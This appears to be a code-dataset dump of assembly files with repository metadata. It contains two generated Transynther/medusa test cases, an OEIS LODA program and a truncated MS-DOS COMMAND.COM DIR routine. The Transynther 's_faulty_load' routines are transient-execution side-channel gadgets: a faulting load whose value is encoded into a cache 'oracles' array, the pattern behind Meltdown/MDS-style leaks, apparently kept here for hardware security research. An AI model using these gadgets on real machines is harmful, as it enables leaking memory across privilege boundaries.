add $1,$5
lpe
| 21.971429 | 219 | 0.626788 |
fc7e548bc17e34b4e84eadf7f64e4a3b9d5c6e73 | 6,430 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1793.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1793.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1793.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x3462, %rdx
clflush (%rdx)
nop
nop
xor %r12, %r12
mov (%rdx), %di
nop
nop
nop
nop
sub $11536, %r9
lea addresses_WT_ht+0x9883, %rsi
lea addresses_D_ht+0x13283, %rdi
nop
nop
nop
mfence
mov $50, %rcx
rep movsw
nop
xor $48040, %r12
lea addresses_WT_ht+0x1c4c3, %rdi
nop
sub %rsi, %rsi
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
inc %rdx
lea addresses_A_ht+0x190c3, %rcx
nop
nop
nop
nop
nop
cmp $42399, %r15
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x4cc3, %r9
xor $33550, %rsi
and $0xffffffffffffffc0, %r9
vmovntdqa (%r9), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdx
nop
nop
nop
nop
nop
dec %r9
lea addresses_A_ht+0x58c3, %rsi
nop
cmp $10311, %rdx
mov (%rsi), %cx
nop
nop
nop
nop
inc %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0x3ca3, %rdx
nop
nop
nop
nop
xor $43570, %rsi
movl $0x51525354, (%rdx)
nop
nop
nop
nop
and $28169, %rsi
// Store
mov $0x9e2, %r10
nop
dec %rdi
movw $0x5152, (%r10)
nop
nop
nop
nop
cmp $169, %rcx
// Store
lea addresses_UC+0x94c3, %rcx
clflush (%rcx)
nop
cmp %rdx, %rdx
mov $0x5152535455565758, %r10
movq %r10, %xmm5
movntdq %xmm5, (%rcx)
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %rcx
nop
nop
nop
nop
nop
dec %rcx
// Store
lea addresses_RW+0x1d77, %rdi
nop
xor $13348, %r13
movw $0x5152, (%rdi)
nop
nop
nop
nop
dec %rdi
// Faulty Load
mov $0x3f7b6c00000000c3, %rdi
nop
nop
nop
nop
inc %rbx
movups (%rdi), %xmm2
vpextrq $0, %xmm2, %rdx
lea oracles, %rbx
and $0xff, %rdx
shlq $12, %rdx
mov (%rbx,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': True, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.806122 | 2,999 | 0.654432 |
f8ec22a244369ce1bccd65ed85e749b5162127b1 | 305 | asm | Assembly | oeis/244/A244919.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/244/A244919.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/244/A244919.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A244919: For odd prime p, largest k such that binomial(2p-1, p-1) is congruent to 1 modulo p^k.
; Submitted by Christian Krause
; 2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3
min $0,1
add $0,10
mod $0,8
| 38.125 | 145 | 0.603279 |
4b0e629fbcf09f04b602ebede266732fa6f444cc | 3,622 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_5_66.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_5_66.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_5_66.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x5d02, %r10
nop
nop
nop
nop
sub %r9, %r9
mov (%r10), %ebx
nop
nop
inc %r9
lea addresses_D_ht+0x2e8a, %rsi
lea addresses_WT_ht+0x19f8a, %rdi
nop
nop
nop
nop
cmp %r10, %r10
mov $27, %rcx
rep movsl
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_WC_ht+0xaf8a, %rsi
nop
nop
inc %rax
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
sub %r9, %r9
lea addresses_A_ht+0xd9ca, %rdi
cmp %rax, %rax
mov (%rdi), %bx
nop
nop
inc %r10
lea addresses_normal_ht+0x10cca, %rsi
lea addresses_WT_ht+0x16f8a, %rdi
nop
nop
nop
mfence
mov $5, %rcx
rep movsb
nop
add %rax, %rax
lea addresses_normal_ht+0xb04a, %rbx
nop
cmp $34228, %rax
movw $0x6162, (%rbx)
add $64654, %r8
lea addresses_UC_ht+0x598a, %rsi
lea addresses_normal_ht+0x14e4c, %rdi
nop
nop
nop
nop
and %r10, %r10
mov $39, %rcx
rep movsq
nop
sub $15501, %r10
lea addresses_WT_ht+0xd04a, %r8
sub %rax, %rax
movups (%r8), %xmm2
vpextrq $1, %xmm2, %rbx
nop
nop
and $45353, %r8
lea addresses_normal_ht+0xed2a, %rax
nop
nop
nop
inc %rcx
movw $0x6162, (%rax)
nop
nop
nop
nop
nop
cmp $34625, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r9
push %rbp
push %rbx
// Store
lea addresses_WC+0x368a, %rbx
nop
nop
nop
cmp $61651, %r15
mov $0x5152535455565758, %rbp
movq %rbp, %xmm4
vmovups %ymm4, (%rbx)
nop
nop
nop
nop
inc %rbp
// Store
lea addresses_PSE+0x1388a, %r11
nop
nop
nop
nop
cmp %r9, %r9
movw $0x5152, (%r11)
nop
nop
nop
cmp $38802, %r14
// Faulty Load
lea addresses_US+0xf8a, %rbp
nop
and $27603, %r9
mov (%rbp), %r15d
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'00': 5}
00 00 00 00 00
*/
| 19.79235 | 153 | 0.648261 |
055a5dca04487eb62de6393382fbb38705e15173 | 17,770 | asm | Assembly | base/mvdm/dos/v86/cmd/command/tcmd1a.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/mvdm/dos/v86/cmd/command/tcmd1a.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/mvdm/dos/v86/cmd/command/tcmd1a.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
************************************************************
************************************************************
** **
** THIS FILE IS OBSOLETE, NO LONGER USED, DEFUNCT, **
** AND, IN FACT, DOESN'T EVEN EXIST. YOU ARE NOT **
** HERE. YOU MAY NOT BE ANYWHERE AT ALL. THIS **
** WHOLE THING COULDN'T POSSIBLY BE HAPPENING. **
** **
** See DIR.ASM for a reality check. **
** **
************************************************************
************************************************************
page 80,132
; SCCSID = @(#)tcmd1a.asm 1.1 85/05/14
; SCCSID = @(#)tcmd1a.asm 1.1 85/05/14
TITLE PART4 COMMAND Transient routines.
; Internal commands DIR,PAUSE,ERASE,TYPE,VOL,VER
INCLUDE comsw.asm
.xlist
.xcref
INCLUDE DOSSYM.INC
INCLUDE comseg.asm
INCLUDE comequ.asm ;AC000;
include ioctl.inc ;AN000;
.list
.cref
TRANDATA SEGMENT PUBLIC BYTE ;AC000;
EXTRN BadCD_ptr:word
EXTRN bits:word
EXTRN Bytmes_ptr:word
EXTRN comsw:word
EXTRN dir_w_syn:word ;AC000;
EXTRN dirdat_mo_day:word ;AC000;
EXTRN dirdat_yr:word ;AC000;
EXTRN dirdattim_ptr:word
EXTRN dirhead_ptr:word
EXTRN dirtim_hr_min:word ;AC000;
EXTRN Dirmes_ptr:word
EXTRN disp_file_size_ptr:word
EXTRN Dmes_ptr:word
EXTRN Extend_buf_ptr:word ;AN000;
EXTRN msg_disp_class:byte ;AN000;
EXTRN parse_dir:byte ;AC000;
EXTRN slash_p_syn:word ;AC000;
EXTRN string_buf_ptr:word
EXTRN tab_ptr:word ;AC000;
TRANDATA ENDS
TRANSPACE SEGMENT PUBLIC BYTE ;AC000;
EXTRN bytes_free:word
EXTRN charbuf:byte
EXTRN COM:byte
EXTRN Destisdir:byte
EXTRN Desttail:word
EXTRN dir_num:word
EXTRN Dirbuf:byte
EXTRN dirflag:byte ;AN015;
EXTRN display_ioctl:word ;AC000;
EXTRN display_mode:byte ;AC000;
EXTRN filecnt:word
EXTRN file_size_high:word
EXTRN file_size_low:word
EXTRN fullscr:word
EXTRN ID:byte
EXTRN lincnt:byte ;AC000;
EXTRN linlen:byte
EXTRN linperpag:word ;AC000;
EXTRN msg_numb:word ;AN022;
EXTRN parse1_addr:dword ;AC000;
EXTRN parse1_syn:word ;AC000;
EXTRN parse1_type:byte ;AC000;
EXTRN pathcnt:word ;AN000;
EXTRN pathpos:word ;AN000;
EXTRN srcbuf:byte ;AC000;
EXTRN string_ptr_2:word
TRANSPACE ENDS
TRANCODE SEGMENT PUBLIC BYTE
ASSUME CS:TRANGROUP,DS:NOTHING,ES:NOTHING,SS:NOTHING
;---------------
TRANSPACE SEGMENT PUBLIC BYTE ;AC000;
EXTRN arg:byte ; the arg structure!
TRANSPACE ENDS
;---------------
EXTRN cerror:near
EXTRN std_printf:near
PUBLIC catalog
break Catalog - Directory command
assume ds:trangroup,es:trangroup
;
; The DIR command displays the contents of a directory.
;
; ****************************************************************
; *
; * ROUTINE: CATALOG - display file(s) in directory
; *
; * FUNCTION: PARSE command line for drive, file, or path name.
; * DIR allows two switches, /P (pause) and /W (wide).
; * If an error occurs issue and error message and
; * transfer control to CERROR.
; *
; * INPUT: command line at offset 81H
; *
; * OUTPUT: none
; *
; ****************************************************************
CATALOG:
;
; Set up DTA for dir search firsts
;
mov dx,offset trangroup:Dirbuf ;AC000; Set Disk transfer address
mov ah,Set_DMA ;AC000;
int int_command ;AC000;
;
; Set up defaults for switches and parse the command line.
;
mov msg_numb,0 ;AN022; initialize message flag
mov di,offset trangroup:srcbuf ;AN000; get address of srcbuf
mov [pathpos],di ;AN000; this is start of path
mov [pathcnt],1 ;AN000; initialize length to 1 char
mov al,star ;AN000; initialize srcbuf to *,0d
stosb ;AN000;
mov al,end_of_line_in ;AN000;
stosb ;AN000;
mov si,81H ;AN000; Get command line
mov di,offset trangroup:parse_dir ;AN000; Get adderss of PARSE_DIR
xor cx,cx ;AC000; clear counter for positionals
mov ComSw,cx ;AC000; initialize flags
mov bits,cx ;AC000; initialize switches
mov linperpag,linesperpage ;AC000; Set default for lines per page
mov linlen,normperlin ;AC000; Set number of entries per line
mov lincnt,normperlin ;AC000;
dirscan:
xor dx,dx ;AN000;
invoke parse_with_msg ;AC018; call parser
cmp ax,end_of_line ;AN000; are we at end of line?
jne dirscan_cont ;AN000; No - continue parsing
jmp scandone ;AN000; yes - go process
dirscan_cont:
cmp ax,result_no_error ;AN000; did we have an error?
jz dirscan_cont2 ;AN000; No - continue parsing
jmp badparm ;AN000; yes - exit
dirscan_cont2:
cmp parse1_syn,offset trangroup:dir_w_syn ;AN000; was /W entered?
je set_dir_width ;AN000; yes - go set wide lines
cmp parse1_syn,offset trangroup:slash_p_syn ;AN000; was /P entered?
je set_dir_pause ;AN000; yes - go set pause at end of screen
;
; Must be filespec since no other matches occurred. move filename to srcbuf
;
push si ;AC000; save position in line
lds si,parse1_addr ;AC000; get address of filespec
push si ;AN000; save address
invoke move_to_srcbuf ;AC000; move to srcbuf
pop dx ;AC000; get address in DX
;
; The user may have specified a device. Search for the path and see if the
; attributes indicate a device.
;
mov ah,Find_First ;AC000; find the file
int int_command ;AC000;
jnc Dir_check_device ;AN022; if no error - check device
invoke get_ext_error_number ;AN022; get the extended error
cmp ax,error_no_more_files ;AN022; was error no file found
jz Dir_fspec_end ;AC022; yes -> obviously not a device
cmp ax,error_path_not_found ;AN022; was error no file found
jz Dir_fspec_end ;AC022; yes -> obviously not a device
jmp dir_err_setup ;AN022; otherwise - go issue error message
dir_check_device: ;AN022;
test byte ptr (DirBuf+find_buf_attr),attr_device ;AC000;
jz Dir_fspec_end ;AC000; no, go do normal operation
mov ComSw,-2 ;AC000; signal device
dir_fspec_end:
pop si ;AC000; restore position in line
jmp short dirscan ;AC000; keep parsing
set_dir_width:
test byte ptr[bits],SwitchW ;AN018; /W already set?
jz ok_set_width ;AN018; no - okay to set width
mov ax,moreargs_ptr ;AN018; set up too many arguments
invoke setup_parse_error_msg ;AN018; set up an error message
jmp badparm ;AN018; exit
ok_set_width:
or bits,switchw ;AC000; indicate /w was selected
mov linlen,wideperlin ;AC000; Set number of entries per line
mov lincnt,wideperlin ;AC000;
jmp short dirscan ;AC000; keep parsing
set_dir_pause:
test byte ptr[bits],SwitchP ;AN018; /p already set?
jz ok_set_pause ;AN018; no - okay to set width
mov ax,moreargs_ptr ;AN018; set up too many arguments
invoke setup_parse_error_msg ;AN018; set up an error message
jmp badparm ;AN018; exit
ok_set_pause:
or bits,switchp ;AC000; indicate /p was selected
push cx ;AN000; save necessary registers
push si ;AN000;
mov ax,(IOCTL SHL 8) + generic_ioctl_handle ;AN000; get lines per page on display
mov bx,stdout ;AN000; lines for stdout
mov ch,ioc_sc ;AN000; type is display
mov cl,get_generic ;AN000; get information
mov dx,offset trangroup:display_ioctl ;AN000;
int int_command ;AN000;
lines_set:
dec linperpag ;AN000; lines per actual page should
dec linperpag ;AN000; two less than the max
mov ax,linperpag ;AN000; get number of lines into
mov [fullscr],ax ;AC000; screen line counter
pop si ;AN000; restore registers
pop cx ;AN000;
jmp dirscan ;AC000; keep parsing
;
; The syntax is incorrect. Report only message we can.
;
BadParm:
jmp cerror ;AC000; invalid switches get displayed
ScanDone:
;
; Find and display the volume ID on the drive.
;
invoke okvolarg ;AC000;
;
; OkVolArg also disables APPEND, which will be re-enabled
; in the HeadFix routine, after we're done.
;
mov [filecnt],0 ;AC000; Keep track of how many files found
cmp comsw,0 ;AC000; did an error occur?
jnz doheader ;AC000; yes - don't bother to fix path
mov dirflag,-1 ;AN015; set pathcrunch called from DIR
invoke pathcrunch ;AC000; set up FCB for dir
mov dirflag,0 ;AN015; reset dirflag
jc DirCheckPath ;AC015; no CHDIRs worked.
jz doheader ;AC015; chdirs worked - path\*.*
mov si,[desttail] ;AN015; get filename back
jmp short DoRealParse ;AN015; go parse it
DirCheckPath:
mov ax,[msg_numb] ;AN022; get message number
cmp ax,0 ;AN022; Is there a message?
jnz dir_err_setup ;AN022; yes - there's an error
cmp [destisdir],0 ;AC000; Were pathchars found?
jz doparse ;AC000; no - no problem
inc comsw ;AC000; indicate error
jmp short doheader ;AC000; go print header
DirNF:
mov ax,error_file_not_found ;AN022; get message number in control block
dir_err_setup:
mov msg_disp_class,ext_msg_class ;AN000; set up extended error msg class
mov dx,offset TranGroup:Extend_Buf_ptr ;AC000; get extended message pointer
mov extend_buf_ptr,ax ;AN022;
DirError:
jmp Cerror
;
; We have changed to something. We also have a file. Parse it into a
; reasonable form, leaving drive alone, leaving extention alone and leaving
; filename alone. We need to special case ... If we are at the root, the
; parse will fail and it will give us a file not found instead of file not
; found.
;
DoParse:
mov si,offset trangroup:srcbuf ;AN000; Get address of source
cmp byte ptr [si+1],colon_char ;AN000; Is there a drive?
jnz dir_no_drive ;AN000; no - keep going
lodsw ;AN000; bypass drive
dir_no_drive:
cmp [si],".."
jnz DoRealParse
cmp byte ptr [si+2],0
jnz DoRealParse
inc ComSw
jmp short DoHeader
DoRealParse:
mov di,FCB ; where to put the file name
mov ax,(Parse_File_Descriptor SHL 8) OR 0EH
int int_command
;
; Check to see if APPEND installed. If it is installed, set all flags
; off. This will be reset in the HEADFIX routine
;
DoHeader:
; ORIGINAL APPEND CHECK CODE LOCATION ******************************
;
; Display the header
;
DoHeaderCont:
mov al,blank ;AN051; Print out a blank
invoke print_char ;AN051; before DIR header
invoke build_dir_string ; get current dir string
mov dx,offset trangroup:Dirhead_ptr
invoke printf_crlf ; bang!
;
; If there were chars left after parse or device, then invalid file name
;
cmp ComSw,0
jz DoSearch ; nothing left; good parse
jl DirNFFix ; not .. => error file not found
invoke RestUDir
mov dx,offset TranGroup:BadCD_ptr
jmp Cerror ; was .. => error directory not found
DirNFFix:
invoke RestUDir
jmp DirNF
;
; We are assured that everything is correct. Let's go and search. Use
; attributes that will include finding directories. perform the first search
; and reset our directory afterward.
;
DoSearch:
mov byte ptr DS:[FCB-7],0FFH
mov byte ptr DS:[FCB-1],010H
;
; Caution! Since we are using an extended FCB, we will *also* be returning
; the directory information as an extended FCB. We must bias all fetches into
; DIRBUF by 8 (Extended FCB part + drive)
;
mov ah,Dir_Search_First
mov dx,FCB-7
int int_command
push ax ;AN022; save return state
inc al ;AN022; did an error occur?
pop ax ;AN022; get return state back
jnz found_first_file ;AN022; no error - start dir
invoke set_ext_error_msg ;AN022; yes - set up error message
push dx ;AN022; save message
invoke restudir ;AN022; restore user's dir
pop dx ;AN022; restore message
cmp word ptr Extend_Buf_Ptr,Error_No_More_Files ;AN022; convert no more files to
jnz DirCerrorJ ;AN022; file not found
mov Extend_Buf_Ptr,Error_File_Not_Found ;AN022;
DirCerrorJ: ;AN022;
jmp Cerror ;AN022; exit
;
; Restore the user's directory. We preserve, though, the return from the
; previous system call for later checking.
;
found_first_file:
push ax
invoke restudir
pop ax
;
; Main scanning loop. Entry has AL = Search first/next error code. Test for
; no more.
;
DIRSTART:
inc al ; FF = file not found
jnz Display
jmp DirDone ; Either an error or we are finished
;
; Note that we've seen a file and display the found file.
;
Display:
inc [filecnt] ; Keep track of how many we find
mov si,offset trangroup:dirbuf+8 ; SI -> information returned by sys call
call shoname
;
; If we are displaying in wide mode, do not output the file info
;
test byte ptr[bits],SwitchW ; W switch set?
jz DirTest
jmp nexent ; If so, no size, date, or time
;
; Test for directory.
;
DirTest:
test [dirbuf+8].dir_attr,attr_directory
jz fileent
;
; We have a directory. Display the <DIR> field in place of the file size
;
mov dx,offset trangroup:Dmes_ptr
call std_printf
jmp short nofsiz
;
; We have a file. Display the file size
;
fileent:
mov dx,[DirBuf+8].dir_size_l
mov file_size_low,dx
mov dx,[DirBuf+8].dir_size_h
mov file_size_high,dx
mov dx,offset trangroup:disp_file_size_ptr
call std_printf
;
; Display time and date of last modification
;
nofsiz:
mov ax,[DirBuf+8].dir_date ; Get date
;
; If the date is 0, then we have found a 1.x level diskette. We skip the
; date/time fields as 1.x did not have them.
;
or ax,ax
jz nexent ; Skip if no date
mov bx,ax
and ax,1FH ; get day
mov dl,al
mov ax,bx
mov cl,5
shr ax,cl ; Align month
and al,0FH ; Get month
mov dh,al
mov cl,bh
shr cl,1 ; Align year
xor ch,ch
add cx,80 ; Relative 1980
cmp cl,100
jb millenium
sub cl,100
millenium:
xchg dh,dl ;AN000; switch month & day
mov DirDat_yr,cx ;AC000; put year into message control block
mov DirDat_mo_day,dx ;AC000; put month and day into message control block
mov cx,[DirBuf+8].dir_time ; Get time
jcxz prbuf ; Time field present?
shr cx,1
shr cx,1
shr cx,1
shr cl,1
shr cl,1 ; Hours in CH, minutes in CL
xchg ch,cl ;AN000; switch hours & minutes
mov DirTim_hr_min,cx ;AC000; put hours and minutes into message subst block
prbuf:
mov dx,offset trangroup:DirDatTim_ptr
call std_printf
invoke crlf2 ;AC066;end the line
